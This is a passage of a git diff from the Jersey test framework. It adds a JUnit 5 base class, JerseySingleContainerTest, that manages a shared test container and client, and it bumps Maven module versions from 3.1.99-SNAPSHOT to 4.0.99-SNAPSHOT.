+ * <li>A basic deployment context, of type {@link DeploymentContext}, compatible with all test containers that are not
+ * based on Servlet deployment model.</li>
+ * <li>A Servlet-based deployment context, of type {@link ServletDeploymentContext}, compatible with Servlet-based test
+ * containers.</li>
+ * </ol>
+ * </p>
+ *
+ * @author Paul Sandoz
+ * @author Srinivas Bhimisetty
+ * @author Pavel Bucek
+ * @author Michal Gajdos
+ * @author Marek Potociar
+ */
+@Beta
+public abstract class JerseySingleContainerTest {
+
+    private static final ThreadLocal<JerseySingleContainerTest> INSTANCE = new ThreadLocal<>();
+
+    private static final Logger LOGGER = Logger.getLogger(JerseySingleContainerTest.class.getName());
+
+    /**
+     * Holds the test container factory class to be used for running the tests by default
+     * (if testContainerFactory has not been set).
+     * This static field is initialized in {@link #getDefaultTestContainerFactory()} method
+     * and is reused by any instances of {@code JerseyTest} that are subsequently run.
+     * This is done to optimize the number of TestContainerFactory service provider look-ups
+     * and class loading.
+     */
+    private static Class<? extends TestContainerFactory> defaultTestContainerFactoryClass;
+
+    /**
+     * Configured deployment context for the tested application.
+     */
+    private final DeploymentContext context;
+
+    /**
+     * The test container factory which creates an instance of the test container
+     * on which the tests would be run.
+     */
+    private TestContainerFactory testContainerFactory;
+
+    /**
+     * The test container on which the tests would be run.
+     */
+    private TestContainer testContainer;
+
+    private final AtomicReference<Client> client = new AtomicReference<>(null);
+
+    /**
+     * JerseyTest property bag that can be used to configure the test behavior.
+     * These properties can be overridden with a system property.
+     */
+    private final Map<String, String> propertyMap = new HashMap<>();
+
+    /**
+     * JerseyTest forced property bag that can be used to configure the test behavior.
+     * These property cannot be overridden with a system property.
+     */
+    private final Map<String, String> forcedPropertyMap = new HashMap<>();
+
+    private JerseyTestLogHandler logHandler;
+    private final Map<Logger, Level> logLevelMap = new IdentityHashMap<>();
+    private final AtomicInteger activeThreadCount = new AtomicInteger(0);
+
+    /**
+     * Initialize JerseyTest instance.
+     * <p>
+     * This constructor can be used from an extending subclass.
+     * <p>
+     * When this constructor is used, the extending concrete subclass must implement one of the
+     * {@link #configure()} or {@link #configureDeployment()} methods to provide the tested application
+     * configuration and deployment context.
+     * </p>
+     */
+    public JerseySingleContainerTest() {
+        // Note: this must be the first call in the constructor to allow setting config
+        // properties (especially around logging) in the configure() or configureDeployment()
+        // method overridden in subclass, otherwise the properties set in the subclass would
+        // not be set soon enough
+        this.context = configureDeployment();
+        this.testContainerFactory = getTestContainerFactory();
+    }
+
+    /**
+     * Initialize JerseyTest instance and specify the test container factory to be used by this test.
+     * <p>
+     * This constructor can be used from an extending subclass.
+     * <p>
+     * When this constructor is used, the extending concrete subclass must implement one of the
+     * {@link #configure()} or {@link #configureDeployment()} methods to provide the tested application
+     * configuration and deployment context.
+     * </p>
+     *
+     * @param testContainerFactory the test container factory to use for testing.
+     */
+    public JerseySingleContainerTest(final TestContainerFactory testContainerFactory) {
+        // Note: this must be the first call in the constructor to allow setting config
+        // properties (especially around logging) in the configure() or configureDeployment()
+        // method overridden in subclass, otherwise the properties set in the subclass would
+        // not be set soon enough
+        this.context = configureDeployment();
+        this.testContainerFactory = testContainerFactory;
+    }
+
+    /**
+     * Initialize JerseyTest instance.
+     * <p>
+     * This constructor can be used from an extending subclass.
+     * <p>
+     * When this constructor is used, the extending concrete subclass must implement one of the
+     * {@link #configure()} or {@link #configureDeployment()} methods are ignored.
+     * </p>
+     * <p>
+     * Please note that when this constructor is used, recording of startup logs as well as configuring
+     * other {@code JerseyTest} properties and features may not work properly. While using this constructor
+     * should generally be avoided, in certain scenarios it may be necessary to use this constructor.
+     * (E.g. when running parameterized tests in which application is created based on test parameters
+     * passed in by JUnit framework via test constructor - in such case it is not possible to propagate
+     * the necessary information to one of the overridden {@code JerseyTest.configure...} methods).
+     * </p>
+     *
+     * @param jaxrsApplication tested application.
+     */
+    public JerseySingleContainerTest(final Application jaxrsApplication) {
+        this.context = DeploymentContext.newInstance(jaxrsApplication);
+        this.testContainerFactory = getTestContainerFactory();
+    }
+
+    /**
+     * Return currently used test container to run the tests in. This method can be overridden.
+     *
+     * @return a test container instance or {@code null} if the container is not set.
+     */
+    /* package */ TestContainer getTestContainer() {
+        return testContainer;
+    }
+
+    /**
+     * Returns old test container used to run the tests in and set a new one. This method can be overridden.
+     *
+     * @param testContainer a test container instance or {@code null} it the current test container should be released.
+     * @return old test container instance.
+     */
+    /* package */ TestContainer setTestContainer(final TestContainer testContainer) {
+        final TestContainer old = this.testContainer;
+        this.testContainer = testContainer;
+        return old;
+    }
+
+    private TestContainer createTestContainer(final DeploymentContext context) {
+        return getTestContainerFactory().create(getBaseUri(), context);
+    }
+
+    /**
+     * Programmatically enable a feature with a given name.
+     * Enabling of the feature may be overridden via a system property.
+     *
+     * @param featureName name of the enabled feature.
+     */
+    protected final void enable(final String featureName) {
+        // TODO: perhaps we could reuse the resource config for the test properties?
+        propertyMap.put(featureName, Boolean.TRUE.toString());
+    }
+
+    /**
+     * Programmatically disable a feature with a given name.
+     * Disabling of the feature may be overridden via a system property.
+     *
+     * @param featureName name of the disabled feature.
+     */
+    protected final void disable(final String featureName) {
+        propertyMap.put(featureName, Boolean.FALSE.toString());
+    }
+
+    /**
+     * Programmatically force-enable a feature with a given name.
+     * Force-enabling of the feature cannot be overridden via a system property.
+     * Use with care!
+     *
+     * @param featureName name of the force-enabled feature.
+     */
+    protected final void forceEnable(final String featureName) {
+        forcedPropertyMap.put(featureName, Boolean.TRUE.toString());
+    }
+
+    /**
+     * Programmatically force-disable a feature with a given name.
+     * Force-disabling of the feature cannot be overridden via a system property.
+     * Use with care!
+     *
+     * @param featureName name of the force-disabled feature.
+     */
+    protected final void forceDisable(final String featureName) {
+        forcedPropertyMap.put(featureName, Boolean.FALSE.toString());
+    }
+
+    /**
+     * Programmatically set a value of a property with a given name.
+     * The property value may be overridden via a system property.
+     *
+     * @param propertyName name of the property.
+     * @param value        property value.
+     */
+    protected final void set(final String propertyName, final Object value) {
+        set(propertyName, value.toString());
+    }
+
+    /**
+     * Programmatically set a value of a property with a given name.
+     * The property value may be overridden via a system property.
+     *
+     * @param propertyName name of the property.
+     * @param value        property value.
+     */
+    protected final void set(final String propertyName, final String value) {
+        propertyMap.put(propertyName, value);
+    }
+
+    /**
+     * Programmatically force-set a value of a property with a given name.
+     * The force-set property value cannot be overridden via a system property.
+     *
+     * @param propertyName name of the property.
+     * @param value        property value.
+     */
+    protected final void forceSet(final String propertyName, final String value) {
+        forcedPropertyMap.put(propertyName, value);
+    }
+
+    /**
+     * Check if the Jersey test boolean property (flag) has been set to {@code true}.
+     *
+     * @param propertyName name of the Jersey test boolean property.
+     * @return {@code true} if the test property has been enabled, {@code false} otherwise.
+     */
+    protected final boolean isEnabled(final String propertyName) {
+        return Boolean.valueOf(getProperty(propertyName));
+    }
+
+    private String getProperty(final String propertyName) {
+        if (forcedPropertyMap.containsKey(propertyName)) {
+            return forcedPropertyMap.get(propertyName);
+        }
+
+        final Properties systemProperties = AccessController.doPrivileged(PropertiesHelper.getSystemProperties());
+        if (systemProperties.containsKey(propertyName)) {
+            return systemProperties.getProperty(propertyName);
+        }
+
+        if (propertyMap.containsKey(propertyName)) {
+            return propertyMap.get(propertyName);
+        }
+
+        return null;
+    }
+
+    private static String getSystemProperty(final String propertyName) {
+        final Properties systemProperties = AccessController.doPrivileged(PropertiesHelper.getSystemProperties());
+        return systemProperties.getProperty(propertyName);
+    }
+
+    /**
+     * Create the tested JAX-RS /Jersey application.
+     * <p>
+     * This method may be overridden by subclasses to provide the configured JAX-RS /Jersey application to be tested.
+     * The method may be also used to configure {@code JerseyTest} instance properties.
+     * <p>
+     * Unless {@link #configureDeployment()} method is overridden in the subclass, the {@code configure()} method is invoked
+     * by {@code configureDeployment()} to create default deployment context for the tested application. As such, the method
+     * is invoked in the scope of one of the {@code JerseyTest} constructors.
+     * Default implementation of this method throws {@link UnsupportedOperationException}, so that construction of
+     * {@code JerseyTest} instance fails unless one of the {@code configure()} or {@code configureDeployment()} methods is
+     * overridden in the subclass.
+     * </p>
+     * <p>
+     * Note that since the method is invoked from {@code JerseyTest} constructor, the overriding implementation of the method
+     * must not depend on any subclass fields as those will not be initialized yet when the method is invoked.
+     * </p>
+     * <p>
+     * Also note that in case the {@link #JerseySingleContainerTest(Application)} constructor is used, the method is never
+     * invoked.
+     * </p>
+     *
+     * @return tested JAX-RS /Jersey application.
+     */
+    protected Application configure() {
+        throw new UnsupportedOperationException("The configure method must be implemented by the extending class");
+    }
+
+    /**
+     * Create and configure deployment context for the tested application.
+     * <p>
+     * This method may be overridden by subclasses to provide custom test container deployment context for the tested
+     * application. The method may be also used to configure {@code JerseyTest} instance properties.
+     * <p>
+     * The method is invoked from {@code JerseyTest} constructors to provide deployment context for the tested application.
+     * Default implementation of this method creates
+     * {@link DeploymentContext#newInstance(Application) new deployment context}
+     * using JAX-RS application instance obtained by calling the {@link #configure()} method.
+     * </p>
+     * <p>
+     * Note that since the method is invoked from {@code JerseyTest} constructor, the overriding implementation of the method
+     * must not depend on any subclass fields as those will not be initialized yet when the method is invoked.
+     * </p>
+     * <p>
+     * Also note that in case the {@link #JerseySingleContainerTest(Application)} constructor is used, the method is never
+     * invoked.
+     * </p>
+     *
+     * @return configured deployment context for the tested application.
+     * @since 2.8
+     */
+    protected DeploymentContext configureDeployment() {
+        DeploymentContext.Builder contextBuilder = DeploymentContext.builder(configure());
+        if (getSslContext().isPresent() && getSslParameters().isPresent()) {
+            contextBuilder.ssl(getSslContext().get(), getSslParameters().get());
+        }
+        return contextBuilder.build();
+    }
+
+    /**
+     * Return an instance of {@link TestContainerFactory} class.
+     * <p>
+     * <p>
+     * This method is used only once during {@code JerseyTest} instance construction to retrieve the factory responsible
+     * for providing {@link TestContainer} that will be used to deploy the tested application.
+     * </p>
+     * <p>
+     * A default implementation first searches for the {@code TestContainerFactory} set via
+     * {@link #JerseySingleContainerTest(TestContainerFactory) constructor}, then it looks for a
+     * {@code TestContainerFactory} implementation class name set via
+     * <tt>{@value TestProperties#CONTAINER_FACTORY}</tt> system property with a fallback to
+     * searching for {@code TestContainerFactory} service providers on the class path. At last, if no
+     * {@code TestContainerFactory} has been found, the method attempts to create new default
+     * {@code TestContainerFactory} implementation instance
+     * (<tt>{@value TestProperties#DEFAULT_CONTAINER_FACTORY}</tt>).
+     * </p>
+     * <p>
+     * Alternatively, this method may be overridden to directly provide a custom {@code TestContainerFactory} instance.
+     * Note that since the method is invoked from {@code JerseyTest} constructor, the overriding implementation of the method
+     * must not depend on any subclass fields as those will not be initialized yet when the method is invoked.
+     * </p>
+     *
+     * @return an instance of {@link TestContainerFactory} class.
+     * @throws TestContainerException if the initialization of {@link TestContainerFactory} instance is not successful.
+     */
+    protected TestContainerFactory getTestContainerFactory() throws TestContainerException {
+        if (testContainerFactory == null) {
+            testContainerFactory = getDefaultTestContainerFactory();
+        }
+        return testContainerFactory;
+    }
+
+    /**
+     * Return an optional instance of {@link SSLContext} class.
+     * <p>
+     * <p>
+     * This method is used only once during {@code JerseyTest} instance construction to retrieve the ssl configuration.
+     * By default the ssl configuration is absent, to enable it please override this method and {@link JerseySingleContainerTest#getSslParameters()}
+     * </p>
+     * </p>
+     * @return an optional instance of {@link SSLContext} class.
+     */
+    protected Optional<SSLContext> getSslContext() {
+        return Optional.empty();
+    }
+
+    /**
+     * Return an optional instance of {@link SSLParameters} class.
+     * <p>
+     * <p>
+     * This method is used only once during {@code JerseyTest} instance construction to retrieve the ssl configuration.
+     * By default the ssl configuration is absent, to enable it please override this method and {@link JerseySingleContainerTest#getSslContext()} ()}
+     * </p>
+     * </p>
+     * @return an optional instance of {@link SSLContext} class.
+     */
+    protected Optional<SSLParameters> getSslParameters() {
+        return Optional.empty();
+    }
+
+    private static synchronized TestContainerFactory getDefaultTestContainerFactory() {
+
+        if (defaultTestContainerFactoryClass == null) {
+            final String factoryClassName = getSystemProperty(TestProperties.CONTAINER_FACTORY);
+            if (factoryClassName != null) {
+                LOGGER.log(Level.CONFIG,
+                        "Loading test container factory '{0}' specified in the '{1}' system property.",
+                        new Object[] {factoryClassName, TestProperties.CONTAINER_FACTORY});
+
+                defaultTestContainerFactoryClass = loadFactoryClass(factoryClassName);
+            } else {
+                final TestContainerFactory[] factories = ServiceFinder.find(TestContainerFactory.class).toArray();
+                if (factories.length > 0) {
+                    // if there is only one factory instance, just return it
+                    if (factories.length == 1) {
+                        // cache the class for future reuse
+                        defaultTestContainerFactoryClass = factories[0].getClass();
+                        LOGGER.log(
+                                Level.CONFIG,
+                                "Using the single found TestContainerFactory service provider '{0}'",
+                                defaultTestContainerFactoryClass.getName());
+                        return factories[0];
+                    }
+
+                    // if default factory is present, use it.
+                    for (final TestContainerFactory tcf : factories) {
+                        if (TestProperties.DEFAULT_CONTAINER_FACTORY.equals(tcf.getClass().getName())) {
+                            // cache the class for future reuse
+                            defaultTestContainerFactoryClass = tcf.getClass();
+                            LOGGER.log(
+                                    Level.CONFIG,
+                                    "Found multiple TestContainerFactory service providers, using the default found '{0}'",
+                                    TestProperties.DEFAULT_CONTAINER_FACTORY);
+                            return tcf;
+                        }
+                    }
+
+                    // default factory is not in the list - log warning and return the first found factory instance
+                    // cache the class for future reuse
+                    defaultTestContainerFactoryClass = factories[0].getClass();
+                    LOGGER.log(
+                            Level.WARNING,
+                            "Found multiple TestContainerFactory service providers, using the first found '{0}'",
+                            defaultTestContainerFactoryClass.getName());
+                    return factories[0];
+                }
+
+                LOGGER.log(
+                        Level.CONFIG,
+                        "No TestContainerFactory configured, trying to load and instantiate the default implementation '{0}'",
+                        TestProperties.DEFAULT_CONTAINER_FACTORY);
+                defaultTestContainerFactoryClass = loadFactoryClass(TestProperties.DEFAULT_CONTAINER_FACTORY);
+            }
+        }
+
+        try {
+            return defaultTestContainerFactoryClass.newInstance();
+        } catch (final Exception ex) {
+            throw new TestContainerException(String.format(
+                    "Could not instantiate test container factory '%s'", defaultTestContainerFactoryClass.getName()), ex);
+        }
+    }
+
+    private static Class<? extends TestContainerFactory> loadFactoryClass(final String factoryClassName) {
+        Class<? extends TestContainerFactory> factoryClass;
+        final Class<Object> loadedClass = AccessController.doPrivileged(ReflectionHelper.classForNamePA(factoryClassName, null));
+        if (loadedClass == null) {
+            throw new TestContainerException(String.format(
+                    "Test container factory class '%s' cannot be loaded", factoryClassName));
+        }
+        try {
+            return loadedClass.asSubclass(TestContainerFactory.class);
+        } catch (final ClassCastException ex) {
+            throw new TestContainerException(String.format(
+                    "Class '%s' does not implement TestContainerFactory SPI.", factoryClassName), ex);
+        }
+    }
+
+    /**
+     * Create a JAX-RS web target whose URI refers to the {@link #getBaseUri() base URI} the tested
+     * JAX-RS / Jersey application is deployed at, plus the path specified in the {@code path} argument.
+     * <p>
+     * This method is an equivalent of calling <tt>client().target(getBaseUri())</tt>.
+     * </p>
+     *
+     * @return the created JAX-RS web target.
+     */
+    public final WebTarget target() {
+        return client().target(getTestContainer().getBaseUri());
+    }
+
+    /**
+     * Create a JAX-RS web target whose URI refers to the {@link #getBaseUri() base URI} the tested
+     * JAX-RS / Jersey application is deployed at, plus the path specified in the {@code path} argument.
+     * <p>
+     * This method is an equivalent of calling {@code target().path(path)}.
+     * </p>
+     *
+     * @param path relative path (from tested application base URI) this web target should point to.
+     * @return the created JAX-RS web target.
+     */
+    public final WebTarget target(final String path) {
+        return target().path(path);
+    }
+
+    /**
+     * Get the JAX-RS test client that is {@link #configureClient(ClientConfig) pre-configured}
+     * for this test.
+     *
+     * @return the configured test client.
+     */
+    public final Client client() {
+        return getClient();
+    }
+
+    /**
+     * Set up the test by creating a test container instance, {@link TestContainer#start() starting} it and by creating a new
+     * {@link #configureClient(ClientConfig) pre-configured} test client.
+     * The test container is obtained from the {@link #getTestContainerFactory() test container factory}.
+     *
+     * @throws TestContainerException if the default test container factory cannot be obtained,
+     *                                or the test application deployment context is not supported
+     *                                by the test container factory.
+     * @throws Exception              if an exception is thrown during setting up the test environment.
+     */
+    @BeforeEach
+    public void setUp() throws Exception {
+        synchronized (this) {
+            if (INSTANCE.get() == null) {
+                registerLogHandlerIfEnabled();
+                final TestContainer testContainer = createTestContainer(context);
+
+                // Set current instance of test container and start it.
+                setTestContainer(testContainer);
+                testContainer.start();
+
+                // Create and set new client.
+                setClient(getClient(testContainer.getClientConfig()));
+                INSTANCE.set(this);
+            }
+        }
+    }
+
+    /**
+     * Tear down the test by {@link TestContainer#stop() stopping} the test container obtained from the
+     * {@link #getTestContainerFactory() test container factory} and by {@link Client#close() closing}
+     * and discarding the {@link #configureClient(ClientConfig) pre-configured} test client
+     * that was {@link #setUp() set up} for the test.
+     *
+     * @throws Exception if an exception is thrown during tearing down the test environment.
+     */
+    public void tearDown() throws Exception {
+        if (isLogRecordingEnabled()) {
+            unregisterLogHandler();
+        }
+
+        try {
+            TestContainer oldContainer = setTestContainer(null);
+            if (oldContainer != null) {
+                oldContainer.stop();
+            }
+        } finally {
+            closeIfNotNull(setClient(null));
+        }
+    }
+
+    @AfterAll
+    public static void tearDownAll() throws Exception {
+        INSTANCE.get().tearDown();
+    }
+
+    /**
+     * Get the JAX-RS test client that is {@link #configureClient(ClientConfig) pre-configured}
+     * for this test. This method can be overridden.
+     *
+     * @return the configured test client.
+     */
+    protected Client getClient() {
+        return client.get();
+    }
+
+    /**
+     * Get the old JAX-RS test client and set a new one. This method can be overridden.
+     *
+     * @param client the configured test client.
+     * @return old configured test client.
+     */
+    protected Client setClient(final Client client) {
+        return this.client.getAndSet(client);
+    }
+
+    /**
+     * Create an instance of test {@link Client} using the client configuration provided by the configured
+     * {@link TestContainer}.
+     * <p>
+     * If the {@code TestContainer} does not provide any client configuration (passed {@code clientConfig} is {@code null}),
+     * the default implementation of this method first creates an empty new {@link ClientConfig}
+     * instance. The client configuration (provided by test container or created) is then passed to
+     * {@link #configureClient(ClientConfig)} which can be overridden in the {@code JerseyTest}
+     * subclass to provide custom client configuration. At last, new JAX-RS {@link Client} instance is created based on the
+     * resulting client configuration.
+     * </p>
+     *
+     * @param clientConfig test client default configuration. May be {@code null}.
+     * @return A Client instance.
+     */
+    private Client getClient(ClientConfig clientConfig) {
+        if (clientConfig == null) {
+            clientConfig = new ClientConfig();
+        }
+
+        //check if logging is required
+        if (isEnabled(TestProperties.LOG_TRAFFIC)) {
+            clientConfig.register(new LoggingFeature(LOGGER, isEnabled(TestProperties.DUMP_ENTITY)
+                    ? LoggingFeature.Verbosity.PAYLOAD_ANY
+                    : LoggingFeature.Verbosity.HEADERS_ONLY));
+
+        }
+
+        configureClient(clientConfig);
+
+        return ClientBuilder.newClient(clientConfig);
+    }
+
+    /**
+     * Configure the test client.
+     * <p>
+     * The method can be overridden by {@code JerseyTest} subclasses to conveniently configure the test client instance
+     * used by Jersey test framework (either returned from {@link #client()} method or used to create
+     * {@link WebTarget} instances returned from one of the {@code target} methods
+     * ({@link #target()} or {@link #target(String)}).
+     * <p>
+     * Prior to every test method run, a new client instance is configured and created using the client configuration
+     * provided by the {@link TestContainer} as well as any internal {@code JerseyTest}
+     * client configuration settings.
+     * </p>
+     * <p>
+     * Before the actual client instance creation, Jersey test framework invokes this method in order to allow the subclasses
+     * to further customize created client instance.
+     * </p>
+     * <p>
+     * After each test method is run, the existing client instance is {@link Client#close() closed}
+     * and discarded.
+     * </p>
+     * <p>
+     * Default implementation of the method is "no-op".
+     * </p>
+     *
+     * @param config Jersey test client configuration that can be modified before the client is created.
+     */
+    protected void configureClient(final ClientConfig config) {
+        // do nothing
+    }
+
+    /**
+     * Returns the base URI of the tested application.
+     *
+     * @return the base URI of the tested application.
+     */
+    // TODO make final
+    protected URI getBaseUri() {
+        final TestContainer container = getTestContainer();
+
+        if (container != null) {
+            // called from outside of JerseyTest constructor
+            return container.getBaseUri();
+        }
+
+        // called from within JerseyTest constructor
+        return UriBuilder.fromUri("http://localhost/").port(getPort()).build();
+    }
+
+    /**
+     * Get the port to be used for test application deployments.
+     *
+     * @return The HTTP port of the URI
+     */
+    protected final int getPort() {
+        final TestContainer container = getTestContainer();
+
+        if (container != null) {
+            // called from outside of JerseyTest constructor
+            return container.getBaseUri().getPort();
+        }
+
+        // called from within JerseyTest constructor
+        final String value = getProperty(TestProperties.CONTAINER_PORT);
+        if (value != null) {
+
+            try {
+                final int i = Integer.parseInt(value);
+                if (i < 0) {
+                    throw new NumberFormatException("Value not positive.");
+                }
+                return i;
+            } catch (final NumberFormatException e) {
+                LOGGER.log(Level.CONFIG,
+                        "Value of " + TestProperties.CONTAINER_PORT
+                                + " property is not a valid positive integer [" + value + "]."
+                                + " Reverting to default [" + TestProperties.DEFAULT_CONTAINER_PORT + "].",
+                        e
+                );
+            }
+        }
+        return TestProperties.DEFAULT_CONTAINER_PORT;
+    }
+
+    /**
+     * Get stored {@link LogRecord log records} if enabled by setting {@link TestProperties#RECORD_LOG_LEVEL} or an empty list.
+     *
+     * @return list of log records or an empty list.
+     */
+    protected final List<LogRecord> getLoggedRecords() {
+        return getLogHandler().getRecords();
+    }
+
+    /**
+     * Get last stored {@link LogRecord log record} if enabled by setting {@link TestProperties#RECORD_LOG_LEVEL}
+     * or {@code null}.
+     *
+     * @return last stored {@link LogRecord log record} or {@code null}.
+     */
+    protected final LogRecord getLastLoggedRecord() {
+        final List<LogRecord> loggedRecords = getLoggedRecords();
+        return loggedRecords.isEmpty() ? null : loggedRecords.get(loggedRecords.size() - 1);
+    }
+
+    /**
+     * Retrieves a list of root loggers.
+     *
+     * @return list of root loggers.
+     */
+    private Set<Logger> getRootLoggers() {
+        final LogManager logManager = LogManager.getLogManager();
+        final Enumeration<String> loggerNames = logManager.getLoggerNames();
+
+        final Set<Logger> rootLoggers = new HashSet<>();
+
+        while (loggerNames.hasMoreElements()) {
+            Logger logger = logManager.getLogger(loggerNames.nextElement());
+            if (logger != null) {
+                while (logger.getParent() != null) {
+                    logger = logger.getParent();
+                }
+                rootLoggers.add(logger);
+            }
+        }
+
+        return rootLoggers;
+    }
+
+    /**
+     * Register {@link Handler log handler} to the list of root loggers
+     * if log recording is enabled.
+     */
+    private void registerLogHandlerIfEnabled() {
+        if (isLogRecordingEnabled()) {
+            registerLogHandler();
+        }
+    }
+
+    /**
+     * Register {@link Handler log handler} to the list of root loggers.
+     */
+    private void registerLogHandler() {
+        final String recordLogLevel = getProperty(TestProperties.RECORD_LOG_LEVEL);
+        final int recordLogLevelInt = Integer.valueOf(recordLogLevel);
+        final Level level = Level.parse(recordLogLevel);
+
+        logLevelMap.clear();
+
+        for (final Logger root : getRootLoggers()) {
+            logLevelMap.put(root, root.getLevel());
+
+            if (root.getLevel().intValue() > recordLogLevelInt) {
+                root.setLevel(level);
+            }
+
+            root.addHandler(getLogHandler());
+        }
+    }
+
+    /**
+     * Un-register {@link Handler log handler} from the list of root loggers.
+     */
+    private void unregisterLogHandler() {
+        for (final Logger root : getRootLoggers()) {
+            root.setLevel(logLevelMap.get(root));
+            root.removeHandler(getLogHandler());
+        }
+        logHandler = null;
+    }
+
+    /**
+     * Return {@code true} if log recoding is enabled.
+     *
+     * @return {@code true} if log recoding is enabled, {@code false} otherwise.
+     */
+    private boolean isLogRecordingEnabled() {
+        return getProperty(TestProperties.RECORD_LOG_LEVEL) != null;
+    }
+
+    /**
+     * Retrieves {@link Handler log handler} capable of storing {@link LogRecord logged records}.
+     *
+     * @return log handler.
+     */
+    private JerseyTestLogHandler getLogHandler() {
+        if (logHandler == null) {
+            logHandler = new JerseyTestLogHandler();
+        }
+        return logHandler;
+    }
+
+    /**
+     * Returns {@link TestProperties#ASYNC_TIMEOUT_MULTIPLIER} or {@code 1} if the property is not defined.
+     *
+     * @return Multiplier of the async timeout for async test.
+     */
+    protected int getAsyncTimeoutMultiplier() {
+        final String property = getProperty(TestProperties.ASYNC_TIMEOUT_MULTIPLIER);
+        Integer multi = 1;
+        if (property != null) {
+            multi = Integer.valueOf(property);
+            if (multi <= 0) {
+                throw new NumberFormatException(
+                        "Property " + TestProperties.ASYNC_TIMEOUT_MULTIPLIER + " must be a number greater than 0.");
+            }
+        }
+        return multi;
+
+    }
+
+    /**
+     * Utility method that safely closes a response without throwing an exception.
+     *
+     * @param responses responses to close. Each response may be {@code null}.
+     * @since 2.5
+     */
+    public final void close(final Response... responses) {
+        if (responses == null || responses.length == 0) {
+            return;
+        }
+
+        for (final Response response : responses) {
+            if (response == null) {
+                continue;
+            }
+            try {
+                response.close();
+            } catch (final Throwable t) {
+                LOGGER.log(Level.WARNING, "Error closing a response.", t);
+            }
+        }
+    }
+
+    /**
+     * Utility method that safely closes a client instance without throwing an exception.
+     *
+     * @param clients client instances to close. Each instance may be {@code null}.
+     * @since 2.5
+     */
+    public static void closeIfNotNull(final Client... clients) {
+        if (clients == null || clients.length == 0) {
+            return;
+        }
+
+        for (final Client c : clients) {
+            if (c == null) {
+                continue;
+            }
+            try {
+                c.close();
+            } catch (final Throwable t) {
+                LOGGER.log(Level.WARNING, "Error closing a client instance.", t);
+            }
+
+        }
+    }
+
+    /**
+     * Custom logging handler used to store log records produces during an invocation of a test.
+     */
+    private class JerseyTestLogHandler extends Handler {
+
+        private final int logLevel;
+        private final List<LogRecord> records;
+
+        private JerseyTestLogHandler() {
+            this.logLevel = Integer.parseInt(getProperty(TestProperties.RECORD_LOG_LEVEL));
+            this.records = new ArrayList<>();
+        }
+
+        @Override
+        public void publish(final LogRecord record) {
+            final String loggerName = record.getLoggerName();
+
+            if (record.getLevel().intValue() >= logLevel
+                    && loggerName.startsWith("org.glassfish.jersey")
+                    && !loggerName.startsWith("org.glassfish.jersey.test")) {
+                records.add(record);
+            }
+        }
+
+        @Override
+        public void flush() {
+        }
+
+        @Override
+        public void close() throws SecurityException {
+        }
+
+        public List<LogRecord> getRecords() {
+            return records;
+        }
+    }
+}
diff --git a/test-framework/maven/container-runner-maven-plugin/pom.xml b/test-framework/maven/container-runner-maven-plugin/pom.xml
index 6acb575..a462a7b 100644
--- a/test-framework/maven/container-runner-maven-plugin/pom.xml
+++ b/test-framework/maven/container-runner-maven-plugin/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.maven</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>container-runner-maven-plugin</artifactId>
@@ -242,6 +242,7 @@
                 <artifactId>maven-compiler-plugin</artifactId>
                 <configuration>
                     <compilerId>groovy-eclipse-compiler</compilerId>
+                    <release>11</release> <!-- Groovy works until version 15 right now-->
                 </configuration>
                 <dependencies>
                     <dependency>
diff --git a/test-framework/maven/custom-enforcer-rules/pom.xml b/test-framework/maven/custom-enforcer-rules/pom.xml
index 0021a84..67b9703 100644
--- a/test-framework/maven/custom-enforcer-rules/pom.xml
+++ b/test-framework/maven/custom-enforcer-rules/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.maven</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>custom-enforcer-rules</artifactId>
diff --git a/test-framework/maven/pom.xml b/test-framework/maven/pom.xml
index af2bb77..8613314 100644
--- a/test-framework/maven/pom.xml
+++ b/test-framework/maven/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.test-framework.maven</groupId>
diff --git a/test-framework/memleak-test-common/pom.xml b/test-framework/memleak-test-common/pom.xml
index b3573bc..9cadf55 100644
--- a/test-framework/memleak-test-common/pom.xml
+++ b/test-framework/memleak-test-common/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>memleak-test-common</artifactId>
diff --git a/test-framework/pom.xml b/test-framework/pom.xml
index f29e0b1..2f2464e 100644
--- a/test-framework/pom.xml
+++ b/test-framework/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.test-framework</groupId>
diff --git a/test-framework/providers/bundle/pom.xml b/test-framework/providers/bundle/pom.xml
index fa66b65..775c6ab 100644
--- a/test-framework/providers/bundle/pom.xml
+++ b/test-framework/providers/bundle/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-provider-bundle</artifactId>
@@ -55,11 +55,6 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-            <artifactId>jersey-test-framework-provider-simple</artifactId>
-            <version>${project.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
             <artifactId>jersey-test-framework-provider-netty</artifactId>
             <version>${project.version}</version>
             <exclusions>
diff --git a/test-framework/providers/external/pom.xml b/test-framework/providers/external/pom.xml
index ecaf059..43bec21 100644
--- a/test-framework/providers/external/pom.xml
+++ b/test-framework/providers/external/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
         <artifactId>project</artifactId>
